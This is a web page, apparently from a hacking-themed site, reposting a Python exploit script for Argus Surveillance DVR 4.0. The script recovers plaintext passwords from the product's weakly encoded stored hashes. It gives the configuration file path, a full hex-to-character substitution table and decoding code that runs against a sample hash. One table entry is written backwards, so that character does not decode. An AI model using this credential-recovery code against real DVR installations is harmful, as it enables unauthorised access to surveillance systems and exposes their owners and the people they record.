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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/dvr4-hash-crack

# Note: Argus Surveillance DVR 4.0 configuration is present in 
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}

# ASCII art is important xD
banner = '''
#########################################
#    _____ Surveillance DVR 4.0         #
#   /  _  \_______  ____  __ __  ______ #
#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
# /    |    \  | \/ /_/  >  |  /\___ \  #
# \____|__  /__|  \___  /|____//____  > #
#         \/     /_____/            \/  #
#        Weak Password Encryption       #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
	print("[!] Error, check your password hash")
	exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
	split.append(pass_hash[index : index + n])

for key in split:
	if key in characters.keys():
		print("[+] " + key + ":" + characters[key])
	else:
		print("[-] " + key + ":Unknown")